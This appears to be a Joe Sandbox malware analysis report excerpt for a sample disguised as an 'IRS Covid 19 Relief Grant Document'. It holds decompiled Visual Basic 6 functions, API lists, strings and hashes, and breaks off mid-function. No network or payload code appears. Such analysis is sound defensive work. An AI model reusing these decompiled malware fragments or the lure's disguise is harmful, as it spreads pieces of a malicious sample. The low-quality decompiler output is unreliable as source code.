0x004113c6
0x00411409
0x0041140e

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411156
__vbaVarDup.MSVBVM60(?,?,?,?,004012E6), ref: 0041116E
__vbaVarDup.MSVBVM60 ref: 00411187
#543.MSVBVM60(?,?), ref: 00411194
__vbaVarTstNe.MSVBVM60(00008002,?,?,?,?,?), ref: 004111B8
__vbaFreeVarList.MSVBVM60(00000002,?,?,00008002,?,?,?,?,?), ref: 004111CE
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040272C,00000160), ref: 0041121B
__vbaNew2.MSVBVM60(00402A70,0041333C), ref: 00411242
__vbaNew2.MSVBVM60(00401FE0,00413010), ref: 0041127E
__vbaObjSet.MSVBVM60(?,00000000), ref: 004112B7
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402918,000001B8), ref: 00411301
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000), ref: 0041132D
__vbaStrVarMove.MSVBVM60(00000000), ref: 00411336
__vbaStrMove.MSVBVM60(00000000), ref: 00411340
__vbaObjSet.MSVBVM60(?,?,00000000,00000000), ref: 00411350
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402A60,00000040), ref: 0041138B
__vbaFreeStr.MSVBVM60(00000000,?,00402A60,00000040), ref: 004113A2
__vbaFreeObjList.MSVBVM60(00000003,?,?,?), ref: 004113B5
__vbaFreeVar.MSVBVM60 ref: 004113C0
__vbaFreeVar.MSVBVM60(0041140F), ref: 00411409

Strings

8:8:8, xrefs: 00411173
<3A, xrefs: 0041125D

Memory Dump Source

Source File: 00000000.00000002.242374999.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.242365413.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.242395437.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.242404679.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: __vba$Free$CheckHresult$ListMoveNew2$#543CallChkstkLate
String ID: 8:8:8$<3A
API String ID: 3850520887-1061172675
Opcode ID: 4a479a67f0968319912a7d26b11bb62af68653a7eaa7c8e0a7c170381338bc20
Instruction ID: 2256f8aafa2c09b061377e6e97e3b5412d69612f90007ad3ee98082c12c4e530
Opcode Fuzzy Hash: 4a479a67f0968319912a7d26b11bb62af68653a7eaa7c8e0a7c170381338bc20
Instruction Fuzzy Hash: 9271C87190021CAFDB10EFA1CC45FDDB7B9BB08705F1080AAF509B61A2DB785A85CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00401498, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 152
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#100.MSVBVM60(VB5!6&*), ref: 0040149D

Strings

VB5!6&*, xrefs: 00401498

Memory Dump Source

Source File: 00000000.00000002.242374999.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.242365413.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.242395437.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.242404679.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: #100
String ID: VB5!6&*
API String ID: 1341478452-3593831657
Opcode ID: 509672505d8d7258839b0556a5eda756ccc433095bb8e07fc7c66313be17d033
Instruction ID: 38d764b87cca7859495a862407a301ae85b8cb5b9cdb453b9f22935acee25854
Opcode Fuzzy Hash: 509672505d8d7258839b0556a5eda756ccc433095bb8e07fc7c66313be17d033
Instruction Fuzzy Hash: FB4199A584E7C05FD7038BB499262947FB0AE63214B4E46EBC4C1CF4F3E26C180AD766

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02A9226A, Relevance: .5, Instructions: 529COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.249589583.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a90000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0ca252fbd0df15ea9e2e15d260c1fd68a740651abd1fe82059c10e4a4cdcb8e
Instruction ID: 7096f46a126edf390750b005e63d780f758e8f553643f551307a6a7c54c896cd
Opcode Fuzzy Hash: d0ca252fbd0df15ea9e2e15d260c1fd68a740651abd1fe82059c10e4a4cdcb8e
Instruction Fuzzy Hash: 34F10471744302EFEF249F29CE90BE563F5BF45750F544229EC9A93280DF29A885CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02A92319, Relevance: .3, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.249589583.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a90000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb1c816b9e9721b81c7cd7865a21df3e8daf96b08aad8fbc2e12d38014126c91
Instruction ID: c08b17b9abba9a673b23e922a4b2f9bf46f8e36dd904a83650fb635f914543fc
Opcode Fuzzy Hash: fb1c816b9e9721b81c7cd7865a21df3e8daf96b08aad8fbc2e12d38014126c91
Instruction Fuzzy Hash: E2913371704702EFEB198B29CE90BE1B7E5FF45360F548329DC9983281DB79A891CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02A9235E, Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.249589583.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a90000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf0f7e011eabe8cc94bc4f0b27d0af41c6c98890f5371e6a13037189289caacc
Instruction ID: 9763d689375d1c531cb2f64783f8fac64b9270be104c8e49d0c3c6de15fa22ec
Opcode Fuzzy Hash: cf0f7e011eabe8cc94bc4f0b27d0af41c6c98890f5371e6a13037189289caacc
Instruction Fuzzy Hash: 82812371700702EFEB198B29CE90BE1B7E5FF45360F588329DC9983281DB75A895CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02A9297A, Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.249589583.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a90000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8e54ef6f6c40a89d9625a24a30de7456262c96b7c5021dba1f9109466ce65aa
Instruction ID: de546f8434e8d1c1b8a1227cf6822cf28b2c0e20ee00735dda14edd611232433
Opcode Fuzzy Hash: e8e54ef6f6c40a89d9625a24a30de7456262c96b7c5021dba1f9109466ce65aa
Instruction Fuzzy Hash: 12417435784702BEDF149A29CD91BE1B7F9EF123A0F254269EC95E3282CF24D889C740

Uniqueness

Uniqueness Score: -1.00%

Function 02A92975, Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.249589583.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a90000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07d4e85212657c753c2adc2cc47ffdbdbcb97ab3b90b757265096776ef9373e3
Instruction ID: ffce98ee1a6fad68a54ba77b3bd9f87918b217e1f91e31db1fc74ec58bf90d06
Opcode Fuzzy Hash: 07d4e85212657c753c2adc2cc47ffdbdbcb97ab3b90b757265096776ef9373e3
Instruction Fuzzy Hash: 97410335780702BFDF649A29CD91BE563F5BF153A0F654228EC96E3281DF15D885CA40

Uniqueness

Uniqueness Score: -1.00%

Function 02A929A2, Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.249589583.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a90000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee3412ada13206a5c3efab63bb79bbfdefe24373f603a3217f4f60cd0b7d855d
Instruction ID: e644b58c61511047276050d05d478df173b5e96e623dafa44d0c3addc34db6b1
Opcode Fuzzy Hash: ee3412ada13206a5c3efab63bb79bbfdefe24373f603a3217f4f60cd0b7d855d
Instruction Fuzzy Hash: EC410135740702AFDF249A29CD91BE563F5BF023A0F654268EC95E3681DF25E885CB80

Uniqueness

Uniqueness Score: -1.00%

Function 02A92CA2, Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.249589583.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a90000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 429c4aaff1e422da19c667aa049cc03599511afab05fc70c47d85ce7bf560124
Instruction ID: 81a5a2cccbecca01635cbac4685868b9f913603e8f173dfb7593d2f15dfd979c
Opcode Fuzzy Hash: 429c4aaff1e422da19c667aa049cc03599511afab05fc70c47d85ce7bf560124
Instruction Fuzzy Hash: CE41E130284300EFEF249E2ACE99BE977F2AF05794F054196ED825F1E1CF649880CA12

Uniqueness

Uniqueness Score: -1.00%

Function 02A92CB1, Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.249589583.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a90000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dc5bf561e0ee73bafcb88d81b4c38d5ea998beeea628cbafb7e489f2bab89c3
Instruction ID: f2fa2bfd9637a23808f3d06fdd4056f82e6ee82fc4410b93ad9f43c9e8e862ce
Opcode Fuzzy Hash: 3dc5bf561e0ee73bafcb88d81b4c38d5ea998beeea628cbafb7e489f2bab89c3
Instruction Fuzzy Hash: 7E31F430288381AFEF259B298D99BE4BBF1AF42794F49819BDD811F1E3CF644445CB12

Uniqueness

Uniqueness Score: -1.00%

Function 02A92CF5, Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.249589583.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a90000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03644aedb611f74fe16c422ecd9234ee300fe1b3c1ebe0df8d3881aa9e1dadd9
Instruction ID: 46f4902d03953d7e3c6bbacc7c994b24d8a82531c80a9ba4a00e108635e23334
Opcode Fuzzy Hash: 03644aedb611f74fe16c422ecd9234ee300fe1b3c1ebe0df8d3881aa9e1dadd9
Instruction Fuzzy Hash: 8921F930285381EEEF105B398D99BE4BBF59F41744F09809BDD811F1E2CF644444CB11

Uniqueness

Uniqueness Score: -1.00%

Function 02A972AB, Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.249589583.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a90000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc67c446d9ffdde1b86ef1609aa22d9600f9a0224b363ac4afbd854ce8d3cd0d
Instruction ID: 899db3ca7f70a907b3b58b6e18e6db405bc21bae0b2c9496e9348a036c77b59c
Opcode Fuzzy Hash: dc67c446d9ffdde1b86ef1609aa22d9600f9a0224b363ac4afbd854ce8d3cd0d
Instruction Fuzzy Hash: 37F082B23611119FDB26CB59C9D4B96B3E6AF55350BA18595ED008B210DF30E840CA75

Uniqueness

Uniqueness Score: -1.00%

Function 02A93D68, Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.249589583.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a90000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98988a85ce2e1716a0e7c713619603c7950fb8cac8870b45b68d6b9a3f998b80
Instruction ID: 2b48cc94f2824f296c7040b6b41c0a7c55471429d236a67d8fb1e6c69254b0b8
Opcode Fuzzy Hash: 98988a85ce2e1716a0e7c713619603c7950fb8cac8870b45b68d6b9a3f998b80
Instruction Fuzzy Hash: 12C048F6B42682CFFB41DA08CAA1B4073B0EB50688B480890E803CB752E328ED00CA00

Uniqueness

Uniqueness Score: -1.00%

Function 02A9689D, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.249589583.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a90000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39dcca30b5acc8226a32fe3ad8cf98795eefd35bd2f1e2ebf42922738918da19
Instruction ID: 1e9b0f377db6a8af04b13dba45f2fa879dde09359e05cfd9e7970be697131e1f
Opcode Fuzzy Hash: 39dcca30b5acc8226a32fe3ad8cf98795eefd35bd2f1e2ebf42922738918da19
Instruction Fuzzy Hash: F6B092B1220640CFCE85CF0AC280E5073B4BB00A40F4258C0E8218BA22C728E804CA00

Uniqueness

Uniqueness Score: -1.00%

Function 0041142A, Relevance: 45.6, APIs: 19, Strings: 7, Instructions: 136
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 33%

			E0041142A(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v24;
				char _v28;
				char _v44;
				signed int _v68;
				char _v76;
				char* _v100;
				intOrPtr _v108;
				signed int _v128;
				signed int _v136;
				signed int _t52;
				char* _t55;
				char* _t60;
				signed int _t61;
				void* _t80;
				intOrPtr _t82;

				 *[fs:0x0] = _t82;
				L004012E0();
				_v12 = _t82;
				_v8 = 0x401200;
				_v68 = L"VB.PictureBox";
				_v76 = 8;
				_v100 = L"velgrenhedsarbejdet";
				_v108 = 8;
				_t52 =  *((intOrPtr*)( *_a4 + 0x218))(_a4,  &_v28, __edi, __esi, __ebx, 0x74,  *[fs:0x0], 0x4012e6, __ecx, __ecx, _t80);
				asm("fclex");
				_v128 = _t52;
				if(_v128 >= 0) {
					_v136 = _v136 & 0x00000000;
				} else {
					_push(0x218);
					_push(0x40272c);
					_push(_a4);
					_push(_v128);
					L0040146C();
					_v136 = _t52;
				}
				_push(0x10);
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_push(0x10);
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_push(2);
				_push(L"Add");
				_push(_v28);
				_t55 =  &_v44;
				_push(_t55);
				L004013DC();
				_push(_t55);
				L004013E2();
				_push(_t55);
				_push( &_v24);
				L004013E8();
				L00401466();
				L00401448();
				_v68 = 0x122a;
				_v76 = 2;
				_push(0x10);
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_push(L"Left");
				_push(_v24);
				L004013D6();
				_v68 = 0x298d;
				_v76 = 2;
				_push(0x10);
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_push(L"Top");
				_push(_v24);
				L004013D6();
				_v68 = _v68 | 0xffffffff;
				_v76 = 0xb;
				_push(0x10);
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_push(L"Visible");
				_push(_v24);
				L004013D6();
				_v68 = _v68 | 0xffffffff;
				_v76 = 0x800b;
				_push(0);
				_push(L"Enabled");
				_push(_v24);
				_t60 =  &_v44;
				_push(_t60);
				L004013DC();
				_push(_t60);
				_t61 =  &_v76;
				_push(_t61);
				L004013F4();
				_v128 = _t61;
				L00401448();
				_push(0x4115ef);
				L00401466();
				return _t61;
			}

0x0041143b
0x00411445
0x0041144d
0x00411450
0x00411457
0x0041145e
0x00411465
0x0041146c
0x0041147f
0x00411485
0x00411487
0x0041148e
0x004114ad
0x00411490
0x00411490
0x00411495
0x0041149a
0x0041149d
0x004114a0
0x004114a5
0x004114a5
0x004114b4
0x004114b7
0x004114c1
0x004114c2
0x004114c3
0x004114c4
0x004114c5
0x004114c8
0x004114d2
0x004114d3
0x004114d4
0x004114d5
0x004114d6
0x004114d8
0x004114dd
0x004114e0
0x004114e3
0x004114e4
0x004114ec
0x004114ed
0x004114f2
0x004114f6
0x004114f7
0x004114ff
0x00411507
0x0041150c
0x00411513
0x0041151a
0x0041151d
0x00411527
0x00411528
0x00411529
0x0041152a
0x0041152b
0x00411530
0x00411533
0x00411538
0x0041153f
0x00411546
0x00411549
0x00411553
0x00411554
0x00411555
0x00411556
0x00411557
0x0041155c
0x0041155f
0x00411564
0x00411568
0x0041156f
0x00411572
0x0041157c
0x0041157d
0x0041157e
0x0041157f
0x00411580
0x00411585
0x00411588
0x0041158d
0x00411591
0x00411598
0x0041159a
0x0041159f
0x004115a2
0x004115a5
0x004115a6
0x004115ae
0x004115af
0x004115b2
0x004115b3
0x004115b8
0x004115bf
0x004115c4
0x004115e9
0x004115ee

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411445
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040272C,00000218), ref: 004114A0
__vbaChkstk.MSVBVM60(00000000,?,0040272C,00000218), ref: 004114B7
__vbaChkstk.MSVBVM60(00000000,?,0040272C,00000218), ref: 004114C8
__vbaLateMemCallLd.MSVBVM60(?,?,Add,00000002), ref: 004114E4
__vbaObjVar.MSVBVM60(00000000), ref: 004114ED
__vbaObjSetAddref.MSVBVM60(?,00000000,00000000), ref: 004114F7
__vbaFreeObj.MSVBVM60(?,00000000,00000000), ref: 004114FF
__vbaFreeVar.MSVBVM60(?,00000000,00000000), ref: 00411507
__vbaChkstk.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004012E6), ref: 0041151D
__vbaLateMemSt.MSVBVM60(?,Left), ref: 00411533
__vbaChkstk.MSVBVM60(?,Left), ref: 00411549
__vbaLateMemSt.MSVBVM60(?,Top,?,Left), ref: 0041155F
__vbaChkstk.MSVBVM60(?,Top,?,Left), ref: 00411572
__vbaLateMemSt.MSVBVM60(?,Visible,?,Top,?,Left), ref: 00411588
__vbaLateMemCallLd.MSVBVM60(?,?,Enabled,00000000,?,Visible,?,Top,?,Left), ref: 004115A6
__vbaVarTstNe.MSVBVM60(?,00000000), ref: 004115B3
__vbaFreeVar.MSVBVM60(?,00000000), ref: 004115BF
__vbaFreeObj.MSVBVM60(004115EF,?,00000000), ref: 004115E9

Strings

Left, xrefs: 0041152B
Add, xrefs: 004114D8
velgrenhedsarbejdet, xrefs: 00411465
VB.PictureBox, xrefs: 00411457
Enabled, xrefs: 0041159A
Visible, xrefs: 00411580
Top, xrefs: 00411557

Memory Dump Source

Source File: 00000000.00000002.242374999.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.242365413.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.242395437.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.242404679.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: __vba$Chkstk$Late$Free$Call$AddrefCheckHresult
String ID: Add$Enabled$Left$Top$VB.PictureBox$Visible$velgrenhedsarbejdet
API String ID: 4274921479-3584942522
Opcode ID: bdd391f2dc405b5c7af1948d8037e44c446c7ced1503ac048c197f003d3c635a
Instruction ID: 8af0b129016e22d297b895d7844b7906ba0ca6fe96da3c1005522eb3d60e2e18
Opcode Fuzzy Hash: bdd391f2dc405b5c7af1948d8037e44c446c7ced1503ac048c197f003d3c635a
Instruction Fuzzy Hash: DE414F71D00608ABDF11EFE1C84ABCEBB76AF05714F50052AF500BB1E2C7F965468B59

Uniqueness

Uniqueness Score: -1.00%

Function 00411D54, Relevance: 28.6, APIs: 19, Instructions: 143
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 48%

			E00411D54(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v24;
				char _v40;
				char _v60;
				signed int _v68;
				intOrPtr _v76;
				intOrPtr _v84;
				intOrPtr _v92;
				signed int _v100;
				intOrPtr _v108;
				intOrPtr _v116;
				intOrPtr _v124;
				intOrPtr _v132;
				char _v140;
				char _v144;
				void* _v148;
				signed int _v152;
				signed int _v156;
				intOrPtr* _v164;
				signed int _v168;
				signed int _v172;
				short _t69;
				signed int _t70;
				char* _t74;
				signed int _t78;
				intOrPtr _t104;

				_push(0x4012e6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t104;
				L004012E0();
				_v12 = _t104;
				_v8 = 0x401290;
				_push(0);
				_push(3);
				_push(1);
				_push(0);
				_push( &_v60);
				_push(0x10);
				_push(0x880);
				L0040139A();
				_v68 = _v68 | 0xffffffff;
				_v76 = 0xb;
				_push(0);
				_push(_v60);
				L00401406();
				L00401460();
				_v84 = 0x402b5c;
				_v92 = 8;
				_push(1);
				_push(_v60);
				L00401406();
				L00401394();
				_v100 = _v100 | 0xffffffff;
				_v108 = 0xb;
				_push(2);
				_push(_v60);
				L00401406();
				L00401460();
				_v116 = 0x402b64;
				_v124 = 8;
				_push(3);
				_push(_v60);
				L00401406();
				L00401394();
				_push( &_v60);
				_push( &_v40);
				L004013A0();
				_push( &_v60);
				_push(0);
				L0040138E();
				_v132 = 0x402b5c;
				_v140 = 0x8008;
				_push( &_v40);
				_t69 =  &_v140;
				_push(_t69);
				L004013F4();
				_v148 = _t69;
				L00401448();
				_t70 = _v148;
				if(_t70 != 0) {
					if( *0x413010 != 0) {
						_v164 = 0x413010;
					} else {
						_push(0x413010);
						_push(0x401fe0);
						L00401472();
						_v164 = 0x413010;
					}
					_t74 =  &_v24;
					L00401478();
					_v148 = _t74;
					_t78 =  *((intOrPtr*)( *_v148 + 0xf8))(_v148,  &_v144, _t74,  *((intOrPtr*)( *((intOrPtr*)( *_v164)) + 0x310))( *_v164));
					asm("fclex");
					_v152 = _t78;
					if(_v152 >= 0) {
						_v168 = _v168 & 0x00000000;
					} else {
						_push(0xf8);
						_push(0x402918);
						_push(_v148);
						_push(_v152);
						L0040146C();
						_v168 = _t78;
					}
					_t70 =  *((intOrPtr*)( *_a4 + 0x15c))(_a4, _v144);
					asm("fclex");
					_v156 = _t70;
					if(_v156 >= 0) {
						_v172 = _v172 & 0x00000000;
					} else {
						_push(0x15c);
						_push(0x40272c);
						_push(_a4);
						_push(_v156);
						L0040146C();
						_v172 = _t70;
					}
					L00401466();
				}
				_push(0x411fae);
				return _t70;
			}

0x00411d59
0x00411d64
0x00411d65
0x00411d71
0x00411d79
0x00411d7c
0x00411d83
0x00411d85
0x00411d87
0x00411d89
0x00411d8e
0x00411d8f
0x00411d91
0x00411d96
0x00411d9e
0x00411da2
0x00411dac
0x00411dae
0x00411db1
0x00411dba
0x00411dbf
0x00411dc6
0x00411dd0
0x00411dd2
0x00411dd5
0x00411dde
0x00411de3
0x00411de7
0x00411df1
0x00411df3
0x00411df6
0x00411dff
0x00411e04
0x00411e0b
0x00411e15
0x00411e17
0x00411e1a
0x00411e23
0x00411e2b
0x00411e2f
0x00411e30
0x00411e38
0x00411e39
0x00411e3b
0x00411e40
0x00411e47
0x00411e54
0x00411e55
0x00411e5b
0x00411e5c
0x00411e61
0x00411e6b
0x00411e70
0x00411e79
0x00411e86
0x00411ea3
0x00411e88
0x00411e88
0x00411e8d
0x00411e92
0x00411e97
0x00411e97
0x00411ec7
0x00411ecb
0x00411ed0
0x00411eeb
0x00411ef1
0x00411ef3
0x00411f00
0x00411f25
0x00411f02
0x00411f02
0x00411f07
0x00411f0c
0x00411f12
0x00411f18
0x00411f1d
0x00411f1d
0x00411f3a
0x00411f40
0x00411f42
0x00411f4f
0x00411f71
0x00411f51
0x00411f51
0x00411f56
0x00411f5b
0x00411f5e
0x00411f64
0x00411f69
0x00411f69
0x00411f7b
0x00411f7b
0x00411f80
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411D71
__vbaRedim.MSVBVM60(00000880,00000010,?,00000000,00000001,00000003,00000000,?,?,?,?,004012E6), ref: 00411D96
__vbaDerefAry1.MSVBVM60(?,00000000), ref: 00411DB1
__vbaVarMove.MSVBVM60(?,00000000), ref: 00411DBA
__vbaDerefAry1.MSVBVM60(?,00000001,?,?,?,00000000), ref: 00411DD5
__vbaVarCopy.MSVBVM60(?,00000001,?,?,?,00000000), ref: 00411DDE
__vbaDerefAry1.MSVBVM60(?,00000002,?,?,?,00000001,?,?,?,00000000), ref: 00411DF6
__vbaVarMove.MSVBVM60(?,00000002,?,?,?,00000001,?,?,?,00000000), ref: 00411DFF
__vbaDerefAry1.MSVBVM60(?,00000003,?,?,?,00000002,?,?,?,00000001,?,?,?,00000000), ref: 00411E1A
__vbaVarCopy.MSVBVM60(?,00000003,?,?,?,00000002,?,?,?,00000001,?,?,?,00000000), ref: 00411E23
#668.MSVBVM60(?,?,?,00000003,?,?,?,00000002,?,?,?,00000001,?,?,?,00000000), ref: 00411E30
__vbaErase.MSVBVM60(00000000,?,?,?,?,00000003,?,?,?,00000002,?,?,?,00000001), ref: 00411E3B
__vbaVarTstNe.MSVBVM60(00008008,?,00000000,?,?,?,?,00000003,?,?,?,00000002,?,?,?,00000001), ref: 00411E5C
__vbaFreeVar.MSVBVM60(00008008,?,00000000,?,?,?,?,00000003,?,?,?,00000002,?,?,?,00000001), ref: 00411E6B
__vbaNew2.MSVBVM60(00401FE0,00413010,00008008,?,00000000,?,?,?,?,00000003,?,?,?,00000002), ref: 00411E92
__vbaObjSet.MSVBVM60(?,00000000,?,?,00008008,?,00000000,?,?,?,?,00000003,?,?,?,00000002), ref: 00411ECB
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402918,000000F8,?,?,00008008,?,00000000,?,?,?,?,00000003), ref: 00411F18
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040272C,0000015C,?,?,00008008,?,00000000,?,?,?,?,00000003), ref: 00411F64
__vbaFreeObj.MSVBVM60(?,?,?,?,00008008,?,00000000,?,?,?,?,00000003,?,?,?,00000002), ref: 00411F7B

Memory Dump Source

Source File: 00000000.00000002.242374999.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.242365413.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.242395437.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.242404679.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: __vba$Ary1Deref$CheckCopyFreeHresultMove$#668ChkstkEraseNew2Redim
String ID:
API String ID: 555313047-0
Opcode ID: c0311452782bc4d31e6a97f3181cb1f20a0f14defd07092d64599f72f213af05
Instruction ID: eb6f4aa362674238238a85f36b7480dc82bc9f88f5268d987c22801132b885b9
Opcode Fuzzy Hash: c0311452782bc4d31e6a97f3181cb1f20a0f14defd07092d64599f72f213af05
Instruction Fuzzy Hash: 2851FC70A00218AFDB21DFA1CC46BDDBBB5BF04704F1040AAF149BB1E1DB785A868F59

Uniqueness

Uniqueness Score: -1.00%

Function 00410BC9, Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E00410BC9(void* __ebx, void* __edi, void* __esi, signed int* _a24) {
				intOrPtr _v12;
				intOrPtr _v16;
				char _v28;
				void* _v48;
				intOrPtr _v56;
				char _v64;
				char _v80;
				signed int _v88;
				intOrPtr _v96;
				char _v100;
				intOrPtr* _v104;
				signed int _v108;
				intOrPtr* _v112;
				signed int _v116;
				char _v128;
				signed int _v132;
				signed int _v136;
				char* _t53;
				intOrPtr* _t57;
				char* _t58;
				signed int _t64;
				signed int _t69;
				void* _t78;
				intOrPtr _t79;

				_t79 = _t78 - 0xc;
				_push(0x4012e6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t79;
				_push(0x70);
				L004012E0();
				_v16 = _t79;
				_v12 = 0x4011c0;
				 *_a24 =  *_a24 & 0x00000000;
				_v56 = 0x80020004;
				_v64 = 0xa;
				_push(0);
				_push(0xffffffff);
				_push( &_v64);
				_push(0x402a40);
				_push( &_v80);
				L00401412();
				_t53 =  &_v80;
				_push(_t53);
				_push(0x2008);
				L00401418();
